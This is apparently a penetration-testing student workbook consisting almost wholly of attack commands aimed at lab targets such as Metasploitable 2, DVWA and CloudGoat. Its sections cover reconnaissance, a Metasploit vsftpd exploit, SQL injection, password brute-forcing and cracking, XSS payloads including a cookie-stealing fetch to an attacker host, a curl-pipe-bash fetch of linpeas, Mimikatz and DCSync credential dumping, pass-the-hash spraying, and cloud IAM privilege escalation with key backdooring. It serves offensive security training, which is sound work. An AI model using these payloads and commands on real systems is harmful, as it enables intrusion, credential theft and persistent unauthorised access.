Penetration Testing
Student Workbook

# Step 1: Create working directory
mkdir -p ~/pentest/lab1 && cd ~/pentest/lab1

# Step 2: WHOIS lookup
whois hackthissite.org | tee whois.txt
# Note: Registrar, Registrant, Name Servers, Creation Date, Expiry Date

# Step 3: Full DNS enumeration
dig hackthissite.org ANY +noall +answer | tee dns_any.txt
dig hackthissite.org A    +short
dig hackthissite.org MX   +short
dig hackthissite.org TXT  +short
dig hackthissite.org NS   +short

# Step 4: Passive subdomain enumeration
subfinder -d hackthissite.org -silent -o subdomains.txt
cat subdomains.txt | wc -l    # how many subdomains found?

# Step 5: OSINT harvesting (emails, subdomains)
theHarvester -d hackthissite.org -b google,bing,linkedin -l 200 -f lab1_harvest

# Step 6: Certificate transparency via crt.sh
curl -s 'https://crt.sh/?q=%.hackthissite.org&output=json' \
  | python3 -c "import sys,json; [print(e['name_value']) for e in json.load(sys.stdin)]" \
  | sort -u | tee crt_subdomains.txt

# Step 7: Combine all unique subdomains found
cat subdomains.txt crt_subdomains.txt | sort -u | tee all_subdomains.txt
echo "Total unique subdomains found:" && wc -l all_subdomains.txt

# Install trufflehog (modern secret scanner)
pip3 install trufflehog
# Or download binary:
curl -sSfL https://raw.githubusercontent.com/trufflesecurity/trufflehog/main/scripts/install.sh | sudo sh -s -- -b /usr/local/bin

# Scan a demo repo with known test secrets
trufflehog git https://github.com/trufflesecurity/test_keys --only-verified

# Scan a local git repository
trufflehog git file://. --only-verified

# Google dorks to try manually in browser:
# site:github.com "AWS_SECRET_ACCESS_KEY"
# site:github.com "password" "api_key" "BEGIN RSA PRIVATE KEY"
# inurl:pastebin.com "password" "username"

# Step 1: Create lab directory
mkdir -p ~/pentest/lab1c && cd ~/pentest/lab1c

# Step 2: Broad harvest across ALL sources (takes a few minutes)
theHarvester -d hackthissite.org -b all -l 500 -f all_sources
# -d = target domain  -b = sources  -l = result limit  -f = output file

# Step 3: Individual source queries for reliability
theHarvester -d hackthissite.org -b google -l 300 | tee google_results.txt
theHarvester -d hackthissite.org -b bing -l 300 | tee bing_results.txt
theHarvester -d hackthissite.org -b linkedin -l 200 | tee linkedin_results.txt
theHarvester -d hackthissite.org -b virustotal -l 200 | tee vt_results.txt
theHarvester -d hackthissite.org -b dnsdumpster | tee dns_results.txt

# Step 4: Extract just the emails from all output files
grep -h "@hackthissite.org" *_results.txt | sort -u | tee emails_found.txt
cat emails_found.txt
# Look at the format: firstname.lastname? f.lastname? firstnamelastname?

# Step 5: Extract all unique subdomains discovered
grep -h "\." *_results.txt | grep "hackthissite.org" \
  | grep -v "@" | sort -u | tee harvester_subdomains.txt

# Step 6: Merge with previous subdomain lists
cat harvester_subdomains.txt ../lab1/all_subdomains.txt \
  | sort -u | tee ~/pentest/master_subdomains.txt
echo "Total unique subdomains across all tools:"
wc -l ~/pentest/master_subdomains.txt

# Step 7: Generate clean HTML report
theHarvester -d hackthissite.org -b google,bing,virustotal \
  -l 500 -f ~/pentest/lab1c/harvester_report
# Opens harvester_report.html in browser — screenshot this for your lab submission

# Step 8: Check which subdomains are actually alive
cat ~/pentest/master_subdomains.txt | httpx -status-code -title -tech-detect \
  | tee ~/pentest/live_subdomains.txt
# httpx: sudo apt install httpx  (or: go install github.com/projectdiscovery/httpx/cmd/httpx@latest)

# Step 1: Host discovery — find Metasploitable on your network
nmap -sn 192.168.56.0/24
# Note the IP — replace TARGET_IP below
TARGET_IP=192.168.56.101   # ← change to yours

# Step 2: Fast initial scan (top 1000 ports)
nmap -sV --open -T4 $TARGET_IP

# Step 3: Full comprehensive scan (all ports)
nmap -sS -sV -sC -p- --open -T4 $TARGET_IP -oA ~/pentest/lab2/metasploitable_full
# -sS = SYN scan, -sV = versions, -sC = default scripts, -p- = all ports

# Step 4: SMB / NetBIOS enumeration
enum4linux -a $TARGET_IP | tee ~/pentest/lab2/enum4linux.txt
# Look for: OS version, workgroup, shares, user accounts, password policies

# Step 5: Web directory enumeration
gobuster dir -u http://$TARGET_IP \
  -w /usr/share/wordlists/dirb/common.txt \
  -x php,html,txt,bak \
  -o ~/pentest/lab2/gobuster.txt

# Step 6: Web server vulnerability scan
nikto -h http://$TARGET_IP -o ~/pentest/lab2/nikto.html -Format html

# Step 7: Vulnerability-specific scripts
nmap --script vuln $TARGET_IP -oN ~/pentest/lab2/vuln_scan.txt
nmap --script smb-vuln-ms17-010 $TARGET_IP  # check for EternalBlue

# Step 8: SNMP enumeration (if port 161 is open)
nmap -sU -p 161 $TARGET_IP
snmpwalk -c public -v1 $TARGET_IP 2>/dev/null | head -30

# Directory fuzzing
ffuf -u http://localhost/FUZZ \
  -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt \
  -mc 200,301,302,403 \
  -o ffuf_dirs.json -of json

# File fuzzing with extensions
ffuf -u http://localhost/FUZZ \
  -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt \
  -e .php,.html,.bak,.txt,.sql \
  -mc 200,301 -fc 404

# Parameter fuzzing (GET)
ffuf -u 'http://localhost/dvwa/vulnerabilities/sqli/?FUZZ=1&Submit=Submit' \
  -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
  -mc 200 -fs 0

# Virtual host discovery
ffuf -u http://TARGET_IP/ \
  -H "Host: FUZZ.target.com" \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
  -mc 200 -fs 0

# Step 1: Launch Metasploit
msfconsole -q

# Step 2: Search for the module
msf6 > search vsftpd
# Output: exploit/unix/ftp/vsftpd_234_backdoor

# Step 3: Select the module
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor

# Step 4: View options
msf6 exploit(vsftpd_234_backdoor) > options

# Step 5: Set target IP
msf6 exploit(vsftpd_234_backdoor) > set RHOSTS 192.168.56.101

# Step 6: Launch exploit
msf6 exploit(vsftpd_234_backdoor) > run
# Expected: "Command shell session 1 opened"

# Step 7: Post-exploit verification
id                    # should return: uid=0(root) gid=0(root)
whoami               # root
hostname && ifconfig # target info
cat /etc/shadow      # hashed passwords — CRITICAL finding evidence
cat /etc/passwd      # user accounts on the system
ls /home             # home directories
uname -a             # kernel and OS version

# ── HYDRA — Brute-force DVWA HTTP login form ──────────────────────
# First, examine the login form request in Burp Suite to get the POST body and failure string
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
  localhost http-post-form \
  "/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed" \
  -V -t 10

# Brute-force SSH service (Metasploitable 2)
hydra -l msfadmin -P /usr/share/wordlists/rockyou.txt \
  ssh://192.168.56.101 -V -t 4

# Brute-force FTP
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
  ftp://192.168.56.101 -V

# Brute-force MySQL (port 3306)
hydra -l root -P /usr/share/wordlists/rockyou.txt \
  192.168.56.101 mysql -V

# TIP: -t controls parallel tasks (lower = less noise), -V = verbose output
# Always check if there is account lockout before brute-forcing in production!

# ── MANUAL TESTING ────────────────────────────────────────────────
# Enter these in the User ID field in DVWA browser:
# Test injection: 1'
# Determine columns: 1' ORDER BY 1--   then 1' ORDER BY 2--
# Extract DB name: 1' UNION SELECT database(), version()--
# List tables: 1' UNION SELECT table_name, 2 FROM information_schema.tables WHERE table_schema=database()--
# Dump users: 1' UNION SELECT user, password FROM users--

# ── AUTOMATED WITH SQLMAP ─────────────────────────────────────────
# Replace SESSION with your actual PHPSESSID cookie value from DevTools
SESSION="your_phpsessid_here"

# Step 1: Enumerate all databases
sqlmap -u 'http://localhost/vulnerabilities/sqli/?id=1&Submit=Submit' \
  --cookie="PHPSESSID=${SESSION};security=low" \
  --dbs --batch

# Step 2: List tables in dvwa database
sqlmap -u 'http://localhost/vulnerabilities/sqli/?id=1&Submit=Submit' \
  --cookie="PHPSESSID=${SESSION};security=low" \
  -D dvwa --tables --batch

# Step 3: Dump the users table
sqlmap -u 'http://localhost/vulnerabilities/sqli/?id=1&Submit=Submit' \
  --cookie="PHPSESSID=${SESSION};security=low" \
  -D dvwa -T users --dump --batch

# ── CRACK THE HASHES ──────────────────────────────────────────────
# Save extracted hashes to a file
echo "5f4dcc3b5aa765d61d8327deb882cf99" > hashes.txt  # 'password' MD5
echo "e99a18c428cb38d5f260853678922e03" >> hashes.txt # 'abc123' MD5

# Crack with John the Ripper
john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
john --show --format=raw-md5 hashes.txt

# Alternative: crack with Hashcat (GPU, much faster)
hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt

# ── SETUP ─────────────────────────────────────────────────────────
mkdir -p ~/pentest/lab-passwords && cd ~/pentest/lab-passwords

# Create practice hash file
cat > hashes.txt << 'EOF'
5f4dcc3b5aa765d61d8327deb882cf99
e99a18c428cb38d5f260853678922e03
482c811da5d5b4bc6d497ffa98491e38
8621ffdbc5698829397d97767ac13db3
EOF

# ── HASHCAT — WORDLIST ATTACK ─────────────────────────────────────
# -m 0 = MD5  -a 0 = straight wordlist  --show = display cracked
hashcat -m 0 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt \
  --outfile cracked_md5.txt --outfile-format 2
hashcat -m 0 hashes.txt --show   # display results

# ── HASHCAT — RULE-BASED ATTACK (cracks complex passwords) ────────
# Rules mutate words: Password → P@ssword → P@ssw0rd → Password2024!
hashcat -m 0 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt \
  -r /usr/share/hashcat/rules/best64.rule
hashcat -m 0 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt \
  -r /usr/share/hashcat/rules/rockyou-30000.rule

# ── HASHCAT — NTLM (Windows hashes from hashdump/Mimikatz) ────────
echo "31d6cfe0d16ae931b73c59d7e0c089c0" > ntlm_hashes.txt
hashcat -m 1000 -a 0 ntlm_hashes.txt /usr/share/wordlists/rockyou.txt
hashcat -m 1000 ntlm_hashes.txt --show

# ── HASHCAT — SHA-1 ───────────────────────────────────────────────
echo "5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8" > sha1.txt
hashcat -m 100 -a 0 sha1.txt /usr/share/wordlists/rockyou.txt

# ── HASHCAT — MASK ATTACK (pattern-based brute force) ─────────────
# ?u = uppercase, ?l = lowercase, ?d = digit, ?s = special char
hashcat -m 0 -a 3 hashes.txt "?u?l?l?l?l?d?d?d"  # e.g. Password123
hashcat -m 0 -a 3 hashes.txt "Company?d?d?d?d!"   # common corporate pattern

# ── HASHCAT — COMBINATION ATTACK ─────────────────────────────────
# Combines words from two wordlists: "dragon" + "2024" = "dragon2024"
hashcat -m 0 -a 1 hashes.txt \
  /usr/share/wordlists/rockyou.txt \
  /usr/share/seclists/Passwords/years.txt

# ── LIST ALL SUPPORTED HASH TYPES ────────────────────────────────
hashcat --example-hashes | grep -A 2 "NTLM\|MD5\|SHA"

# ── JOHN — AUTO-DETECT FORMAT (simplest usage) ────────────────────
john hashes.txt  # auto-detects hash type and starts cracking
john hashes.txt --show  # show already cracked passwords

# ── JOHN — SPECIFIC FORMAT + WORDLIST ────────────────────────────
john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
john --format=nt --wordlist=/usr/share/wordlists/rockyou.txt ntlm_hashes.txt

# ── JOHN — CRACK /etc/shadow (from Metasploitable 2) ──────────────
# First, unshadow combines /etc/passwd and /etc/shadow
sudo unshadow /etc/passwd /etc/shadow > combined_shadow.txt
john --wordlist=/usr/share/wordlists/rockyou.txt combined_shadow.txt
john --show combined_shadow.txt

# ── JOHN — CRACK A PASSWORD-PROTECTED ZIP ─────────────────────────
# First extract the hash from the zip file
zip2john protected.zip > zip_hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt zip_hash.txt
john --show zip_hash.txt

# ── JOHN — CRACK A PASSWORD-PROTECTED PDF ─────────────────────────
pdf2john protected.pdf > pdf_hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt pdf_hash.txt

# ── JOHN — CRACK SSH PRIVATE KEY PASSPHRASE ──────────────────────
ssh2john id_rsa > ssh_hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt ssh_hash.txt
john --show ssh_hash.txt

# ── JOHN — RULE-BASED ATTACK ─────────────────────────────────────
john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt \
  --rules=best64 hashes.txt

# CeWL scrapes a website and generates a wordlist from its content
# Useful because employees often use company-related words as passwords

# Install CeWL
sudo apt install cewl

# Generate wordlist from target website (depth 3, min 8 chars)
cewl http://TARGET_IP -d 3 -m 8 -w custom_wordlist.txt
wc -l custom_wordlist.txt

# Include emails found on the site
cewl http://TARGET_IP -d 2 -e --email_file emails.txt -w words.txt

# Use the custom wordlist with John
john --wordlist=custom_wordlist.txt --format=raw-md5 hashes.txt

# Use with Hashcat + rules for even better coverage
hashcat -m 0 -a 0 hashes.txt custom_wordlist.txt \
  -r /usr/share/hashcat/rules/best64.rule

// ── Basic detection payloads (enter in input fields) ──────────────
<script>alert(document.domain)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(document.cookie)>
"><script>alert(1)</script>

// ── Cookie theft via XSS (Stored — most dangerous) ─────────────────
// Set up a listener: python3 -m http.server 9000
// Then inject this payload in DVWA Stored XSS section:
<script>
  fetch('http://YOUR_KALI_IP:9000/steal?cookie=' + btoa(document.cookie));
</script>

// ── DOM-based XSS test in DVWA DOM section ─────────────────────────
// Modify the URL parameter directly:
http://localhost/dvwa/vulnerabilities/xss_d/?default=<script>alert(1)</script>

// ── Filter bypass payloads (for Medium security level) ─────────────
<ScRiPt>alert(1)</ScRiPt>     // case variation
<img src=x onerror="alert(1)">  // HTML entity encoding
<details open ontoggle=alert(1)>   // HTML5 event

# Step 1: SSH into Metasploitable 2
ssh msfadmin@192.168.56.101   # password: msfadmin
id   # confirm: uid=1000(msfadmin) gid=1000(msfadmin)

# Step 2: Enumerate SUID binaries
find / -perm -u=s -type f 2>/dev/null | tee suid_list.txt
# Look for: nmap, find, vim, python, perl, bash, cp, less, more

# Step 3: Check sudo permissions
sudo -l

# Step 4: Exploit SUID nmap (if present)
ls -la /usr/bin/nmap   # confirm SUID bit: -rwsr-xr-x
nmap --interactive
nmap> !sh             # spawns a root shell!
id   # uid=0(root) gid=0(root) — we're root!

# Step 5: Collect evidence
cat /etc/shadow         # all password hashes
cat /root/.ssh/id_rsa 2>/dev/null  # root SSH private key
cat /root/.bash_history  # root's command history

# Step 6: Run LinPEAS (automated privesc enumeration)
# On your Kali machine first:
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
python3 -m http.server 8000
# On the target:
curl http://KALI_IP:8000/linpeas.sh | bash 2>/dev/null | tee linpeas_output.txt

# Check current privileges
whoami /priv
whoami /groups

# Local users and admins
net user
net localgroup administrators

# AlwaysInstallElevated check
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

# Find unquoted service paths
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows"

# Run WinPEAS (automated enumeration)
.\winpeas.exe

# Meterpreter: try automated privilege escalation
meterpreter > getsystem
meterpreter > getuid     # should show NT AUTHORITY\SYSTEM
meterpreter > hashdump   # dump local password hashes

# Run local exploit suggester module
meterpreter > run post/multi/recon/local_exploit_suggester

# Step 1: Extract NTLM hashes via Meterpreter
meterpreter > hashdump
# Output format: username:RID:LM_hash:NTLM_hash
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0

# Step 2: Use CrackMapExec for network-wide PtH spray
crackmapexec smb 192.168.1.0/24 \
  -u administrator \
  -H 31d6cfe0d16ae931b73c59d7e0c089c0
# Green [+] = successful auth, Pwn3d! = admin access

# Step 3: Execute commands on remote hosts via SMB
crackmapexec smb 192.168.1.50 \
  -u administrator \
  -H 31d6cfe0d16ae931b73c59d7e0c089c0 \
  -x "ipconfig && whoami"

# Step 4: Get a remote shell with Evil-WinRM (WinRM port 5985)
evil-winrm -i 192.168.1.50 \
  -u administrator \
  -H 31d6cfe0d16ae931b73c59d7e0c089c0

# Step 5: Mimikatz credential dump (from Windows)
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords  # extract all logged-on credentials
mimikatz # lsadump::sam              # dump SAM database

# ── STEP 1: Get Meterpreter session and escalate ──────────────────
meterpreter > getuid           # check current user
meterpreter > getsystem        # escalate to SYSTEM
meterpreter > getuid           # confirm: NT AUTHORITY\SYSTEM

# ── STEP 2: Load Kiwi (Mimikatz as Meterpreter extension) ─────────
meterpreter > load kiwi
# Expected: Loading extension kiwi...Success.

# ── STEP 3: Dump all credentials at once ─────────────────────────
meterpreter > creds_all
# Returns: NTLM hashes, plaintext passwords (if WDigest enabled), Kerberos tickets

# ── STEP 4: Dump only NTLM hashes ────────────────────────────────
meterpreter > lsa_dump_sam
# Output format: username : RID : LM_hash : NTLM_hash
# Save these hashes for cracking with Hashcat (-m 1000)

# ── STEP 5: Dump LSA secrets (service account passwords) ─────────
meterpreter > lsa_dump_secrets
# Reveals: DPAPI keys, cached domain credentials, service account passwords

# ── STEP 6: Dump logon passwords (cleartext if WDigest active) ────
meterpreter > creds_wdigest
# Windows 7/2008 R2: plaintext passwords in memory by default
# Windows 10/2016+: requires registry change to re-enable WDigest

# ── STEP 7: Extract Kerberos tickets ────────────────────────────
meterpreter > kerberos_ticket_list
meterpreter > kerberos_ticket_purge
meterpreter > kerberos_ticket_use /path/to/ticket.kirbi

# ── ALTERNATIVE: Standalone Mimikatz binary ────────────────────────
# Upload binary to target first:
meterpreter > upload /path/to/mimikatz.exe C:\\Windows\\Temp\\m.exe
meterpreter > shell
C:\Windows\Temp\m.exe "privilege::debug" "sekurlsa::logonpasswords" "lsadump::sam" "exit"

# Run Mimikatz interactively on the target Windows machine
mimikatz.exe

# Enable debug privilege (required for memory access)
mimikatz # privilege::debug
# Expected: Privilege '20' OK

# Dump all logged-on user credentials (NTLM + plaintext if WDigest)
mimikatz # sekurlsa::logonpasswords
# Shows: Username, Domain, NTLM hash, SHA1 hash, plaintext password (if available)

# Dump local SAM database hashes
mimikatz # lsadump::sam

# Dump domain controller hashes (DCSync — requires replication rights)
mimikatz # lsadump::dcsync /domain:corp.local /all /csv
# This dumps EVERY account hash in the domain — full domain compromise

# Extract Kerberos tickets from memory
mimikatz # sekurlsa::tickets /export
# Saves .kirbi files — use these for Pass-the-Ticket

# Golden Ticket creation (requires domain SID + krbtgt hash)
mimikatz # kerberos::golden /user:administrator /domain:corp.local /sid:S-1-5-21-... /krbtgt:NTLM_HASH /ptt

# Pass-the-Hash: impersonate a user with just their NTLM hash
mimikatz # sekurlsa::pth /user:administrator /domain:corp.local /ntlm:NTLM_HASH /run:cmd.exe

# ── STEP 1: Basic credential sweep across subnet ──────────────────
crackmapexec smb 192.168.1.0/24 -u administrator -p "Password123"
# [+] = valid credentials   [Pwn3d!] = admin access (can execute code)

# ── STEP 2: Credential spray (test one password against many users)
crackmapexec smb 192.168.1.0/24 -u users.txt -p "Summer2024!" \
  --continue-on-success
# users.txt: one username per line, built from theHarvester/OSINT output

# ── STEP 3: Remote command execution (on Pwn3d! hosts) ───────────
crackmapexec smb 192.168.1.10 -u administrator -p "Password123" \
  -x "whoami && hostname && ipconfig"

# PowerShell command execution
crackmapexec smb 192.168.1.10 -u administrator -p "Password123" \
  -X "Get-Process | Where-Object {$_.CPU -gt 100}"

# ── STEP 4: Dump SAM hashes from all accessible hosts ─────────────
crackmapexec smb 192.168.1.0/24 -u administrator -p "Password123" \
  --sam
# Saves hashes to ~/.cme/logs/ automatically

# Dump LSA secrets (service account passwords)
crackmapexec smb 192.168.1.0/24 -u administrator -p "Password123" \
  --lsa

# ── STEP 5: Enumerate shares ──────────────────────────────────────
crackmapexec smb 192.168.1.0/24 -u administrator -p "Password123" \
  --shares

# Search shares for sensitive files
crackmapexec smb 192.168.1.10 -u administrator -p "Password123" \
  -M spider_plus -o READ_ONLY=false

# ── STEP 6: Pass-the-Hash (no password needed — just NTLM hash) ───
crackmapexec smb 192.168.1.0/24 \
  -u administrator \
  -H "31d6cfe0d16ae931b73c59d7e0c089c0" \
  --local-auth

# ── STEP 7: WinRM shell (interactive PowerShell) ──────────────────
crackmapexec winrm 192.168.1.10 -u administrator -p "Password123"

# Full interactive shell via Evil-WinRM
evil-winrm -i 192.168.1.10 -u administrator -p "Password123"
# Or with hash:
evil-winrm -i 192.168.1.10 -u administrator \
  -H "31d6cfe0d16ae931b73c59d7e0c089c0"

# ── STEP 8: Enumerate logged-on users network-wide ────────────────
crackmapexec smb 192.168.1.0/24 -u administrator -p "Password123" \
  --loggedon-users
# Spot domain admins logged onto workstations — high-value pivot targets

# ── CME RESULTS: View all cracked sessions ────────────────────────
cmedb  # interactive database of all discovered hosts, users, hashes

# ── INSTALLATION ─────────────────────────────────────────────────
sudo apt install neo4j bloodhound -y
pip install bloodhound   # bloodhound-python (remote data collector)

# ── START NEO4J DATABASE ─────────────────────────────────────────
sudo neo4j start
# Open http://localhost:7474 in browser
# Default login: neo4j / neo4j → change password on first login
sudo neo4j status   # confirm it's running

# ── LAUNCH BLOODHOUND ────────────────────────────────────────────
bloodhound &
# Login with your Neo4j credentials

# ── COLLECT AD DATA (from Kali using domain credentials) ─────────
mkdir -p ~/pentest/bloodhound && cd ~/pentest/bloodhound

bloodhound-python \
  -u "lowpriv_user" \
  -p "Password123" \
  -d corp.local \
  -dc dc01.corp.local \
  -c All \
  --zip
# -c All = collect Users, Groups, Computers, ACLs, GPOs, Sessions, Trusts
# Creates a .zip of JSON files ready for BloodHound import

# Alternative: collect specific categories
bloodhound-python -u user -p pass -d corp.local -c DCOnly  # faster, less noise
bloodhound-python -u user -p pass -d corp.local -c Session  # find where admins are logged in

# ── IMPORT DATA ──────────────────────────────────────────────────
# In BloodHound GUI: click "Upload Data" → select the .zip file
# Wait for import to complete (progress bar in top right)

# ── KEY BLOODHOUND QUERIES ────────────────────────────────────────
# All available in GUI under "Analysis" tab — or type in search bar:

# 1. Shortest path to Domain Admins from owned user
#    Analysis → Find Shortest Paths to Domain Admins

# 2. All Domain Admin accounts
#    Analysis → Find all Domain Admin group members

# 3. Kerberoastable accounts (have SPNs — hashes crackable offline)
#    Analysis → List all Kerberoastable Accounts

# 4. AS-REP Roastable users (no pre-auth required)
#    Analysis → Find AS-REP Roastable Users (DontReqPreAuth)

# 5. Accounts with DCSync rights
#    Analysis → Find Principals with DCSync Rights

# 6. Computers where DA is logged in right now
#    Analysis → Find Computers where Domain Admins are logged in

# ── CYPHER QUERIES (advanced — paste in Raw Query box) ───────────
# Find all users with admin rights on more than 5 computers:
MATCH (u:User)-[:AdminTo]->(c:Computer) WITH u, count(c) as adminCount WHERE adminCount > 5 RETURN u.name, adminCount ORDER BY adminCount DESC

# Find computers accessible from a specific user account:
MATCH p=shortestPath((u:User {name:"LOWPRIV@CORP.LOCAL"})-[*1..]->(c:Computer)) RETURN p

# ── INSTALLATION ─────────────────────────────────────────────────
pip install scoutsuite
scout --version   # confirm install

# ── AWS CREDENTIAL SETUP ─────────────────────────────────────────
aws configure
# Enter: AWS Access Key ID, Secret Access Key, Region (e.g. us-east-1), output format (json)
aws sts get-caller-identity   # confirm credentials work

# ── RUN SCOUTSUITE — FULL AWS AUDIT ──────────────────────────────
mkdir -p ~/pentest/scoutsuite && cd ~/pentest/scoutsuite
scout aws --report-dir ./aws_report
# Scans: IAM, S3, EC2, RDS, Lambda, CloudTrail, VPC, KMS, SNS, SQS, and more
# Output: ./aws_report/scoutsuite-report/scoutsuite_results_aws-ACCOUNT_ID.html

# Open the report
xdg-open ./aws_report/scoutsuite-report/*.html

# ── TARGETED SCANS (specific services only) ───────────────────────
scout aws --services s3 iam ec2   # only scan these services
scout aws --exclude-services cloudtrail   # exclude noisy services

# ── RUN AGAINST AZURE ────────────────────────────────────────────
az login   # authenticate with Azure CLI first
scout azure --cli --report-dir ./azure_report

# ── RUN AGAINST GCP ──────────────────────────────────────────────
gcloud auth application-default login
scout gcp --user-account --report-dir ./gcp_report

# ── INTERPRET FINDINGS: Check for these critical issues ──────────
# 1. S3 → Public Buckets: any bucket with "Public" badge = data exposure risk
# 2. IAM → Users without MFA: accounts that can be hijacked with just a password
# 3. EC2 → Security Groups with 0.0.0.0/0: unrestricted inbound access
# 4. IAM → Policies with wildcard (*) actions: overpermissioned roles
# 5. CloudTrail → Disabled logging: attacker actions won't be recorded
# 6. RDS → Publicly accessible databases: direct internet exposure
# 7. KMS → Unencrypted EBS/RDS volumes: data at rest not protected

# ── INSTALLATION ─────────────────────────────────────────────────
pip install pacu
pip install cloudgoat   # deliberately vulnerable AWS lab

# ── CLOUDGOAT SETUP (one-time) ────────────────────────────────────
cloudgoat config profile   # configure with your AWS admin account
cloudgoat config whitelist --auto   # whitelist your IP
cloudgoat create iam_privesc_by_rollback   # deploy scenario
# Note the raynor credentials output — these are your low-priv starting credentials

# ── LAUNCH PACU ──────────────────────────────────────────────────
pacu

# ── PACU SESSION SETUP ───────────────────────────────────────────
Pacu > new_session cloudgoat_lab
Pacu > set_keys
# Enter the CloudGoat raynor access key and secret key when prompted

# ── VERIFY IDENTITY ──────────────────────────────────────────────
Pacu > whoami
# Shows: current IAM user/role, account ID, ARN

# ── MODULE 1: Enumerate IAM permissions ──────────────────────────
Pacu > run iam__enum_permissions
# Discovers: all IAM policies attached, inline policies, group memberships
# Output stored in session data for other modules to use

# ── MODULE 2: Find privilege escalation paths ─────────────────────
Pacu > run iam__privesc_scan
# Analyses permissions and reports which escalation techniques are available
# Common paths: CreatePolicyVersion, AttachUserPolicy, UpdateAssumeRolePolicy

# ── MODULE 3: Enumerate S3 buckets ───────────────────────────────
Pacu > run s3__enum
Pacu > run s3__download_bucket   # download accessible bucket contents

# ── MODULE 4: Enumerate EC2 infrastructure ───────────────────────
Pacu > run ec2__enum
# Maps all instances, security groups, VPCs, key pairs in all regions

# ── MODULE 5: Enumerate Lambda functions ─────────────────────────
Pacu > run lambda__enum
# Checks for environment variables containing secrets (common misconfiguration)

# ── MODULE 6: IAM Privilege Escalation — CreatePolicyVersion ──────
Pacu > run iam__privesc_scan
# If CreatePolicyVersion is available:
Pacu > run iam__privesc --technique CreatePolicyVersion
# Creates a new policy version granting AdministratorAccess to current user

# ── MODULE 7: Backdoor IAM for persistence ────────────────────────
Pacu > run iam__backdoor_users_keys
# Creates additional access keys on existing users for persistent access

# ── VIEW ALL AVAILABLE MODULES ────────────────────────────────────
Pacu > ls                    # list all modules
Pacu > search enum          # search for enumeration modules
Pacu > search privesc       # search for privilege escalation modules
Pacu > help iam__enum_permissions   # get help on a specific module

# ── CLEANUP: Destroy CloudGoat scenario when done ─────────────────
cloudgoat destroy iam_privesc_by_rollback
# Always destroy when finished — CloudGoat resources cost money if left running